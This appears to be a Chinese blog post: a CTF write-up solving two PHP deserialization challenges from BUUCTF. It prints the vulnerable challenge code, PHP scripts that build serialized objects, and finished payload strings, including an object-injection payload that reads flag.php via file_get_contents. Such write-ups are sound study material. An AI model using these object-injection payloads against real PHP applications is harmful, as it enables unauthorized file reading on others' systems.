php反序列化-BUUCTF刷题记录

题目链接-BUU CODE REVIEW 1

信息收集

进入题目环境之后可以看见在页面展示了php代码,该代码核心主要是由两大部分组成的,那么一般把源代码给你的ctf题一般是绕过,然后传参之类的,最后通过各种姿势拿到flag
在这里插入图片描述

源码分析

我们先看第一部分较为关键的代码,可以清楚的看见要想获取flag,就必须要让BUU类对象的成员correct的变量恒等于input成员的变量
在这里插入图片描述
继续分析第二部分,可以看见这部分代码属于传参的判断语句,简单来说,你想要控制第一部分的成员变量的恒等于获得flag,就必须要从最后一个php语句的obj进行接受传参内容,前提是让以上的if条件的判断为真
在这里插入图片描述

解题

既让要获取flag,可以先进行构造payload序列化语句,然后再将payload传参进去obj可控变量里

引用绕过

在前面得知要想获取flag,必须恒等于相对应对象成员的变量,这里也不在解释了。我们根据这个思路尝试使用引号进行绕过恒等于,也就是当这个input变量什么都不给予时那么一定是恒等于correct空变量的赋值,然后对其类进行反序列化从而获取payload

<?php
class BUU {
   public $correct = "";
   public $input = "";
}

$a = new BUU();
$a->correct = "";
$a->input = &$a->correct;
echo serialize($a);

?>

在这里插入图片描述

弱数组绕过

难点主要是在md51和md52两个接受变量的MD5值必须恒等于,其它的只需要在相对应的请求方式进行变量传参进去即可,最后将序列化payload放入obj=后
在这里插入图片描述

序列化payload:O:3:“BUU”:2:{s:7:“correct”;s:0:“”;s:5:“input”;R:2;}

发送后获取flag
在这里插入图片描述

[网鼎杯 2020 青龙组]AreUSerialz

访问题目链接可以看见以下下代码

<?php

include("flag.php");

highlight_file(__FILE__);

class FileHandler {

    protected $op;
    protected $filename;
    protected $content;

    function __construct() {
        $op = "1";
        $filename = "/tmp/tmpfile";
        $content = "Hello World!";
        $this->process();
    }

    public function process() {
        if($this->op == "1") {
            $this->write();
        } else if($this->op == "2") {
            $res = $this->read();
            $this->output($res);
        } else {
            $this->output("Bad Hacker!");
        }
    }

    private function write() {
        if(isset($this->filename) && isset($this->content)) {
            if(strlen((string)$this->content) > 100) {
                $this->output("Too long!");
                die();
            }
            $res = file_put_contents($this->filename, $this->content);
            if($res) $this->output("Successful!");
            else $this->output("Failed!");
        } else {
            $this->output("Failed!");
        }
    }

    private function read() {
        $res = "";
        if(isset($this->filename)) {
            $res = file_get_contents($this->filename);
        }
        return $res;
    }

    private function output($s) {
        echo "[Result]: <br>";
        echo $s;
    }

    function __destruct() {
        if($this->op === "2")
            $this->op = "1";
        $this->content = "";
        $this->process();
    }

}

function is_valid($s) {
    for($i = 0; $i < strlen($s); $i++)
        if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
            return false;
    return true;
}

if(isset($_GET{'str'})) {

    $str = (string)$_GET['str'];
    if(is_valid($str)) {
        $obj = unserialize($str);
    }

}

代码分析

可以看见最后一行的if判断语句是接受反序列化的传参是str

在这里插入图片描述
分析代码发现,获得flag可以通过file_get_contents这个函数包含flag.php文件
在这里插入图片描述
在这里插入图片描述

解题

编写payload的php代码,可以php在线运行或者本地运行,如下图

<?php

class FileHandler {

    public $op = 2;//数字型op变量,当为2时调用read自定义函数,从而获取flag.php的文件读取
    public $filename= "flag.php";
    #public $content;//加不加都可以
    }
$a = new FileHandler();
echo serialize($a);
?>

其中op变量为2是因为要调用read的自定义函数,注意2不能用双引号,否则代表字符型
在这里插入图片描述

PAYLOAD : ?str=O:11:“FileHandler”:2:{s:2:“op”;i:2;s:8:“filename”;s:8:“flag.php”;}

提交payload之后发现有[Resutl]的提示,尝试查看源代码获得flag值
在这里插入图片描述

在这里插入图片描述

[极客大挑战 2019]PHP:另一篇博客

结尾

有什么不会的,疑问的可以私信我或者留言在评论区,看到的话我都会回复

  • 1
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 2
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

cike_y

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值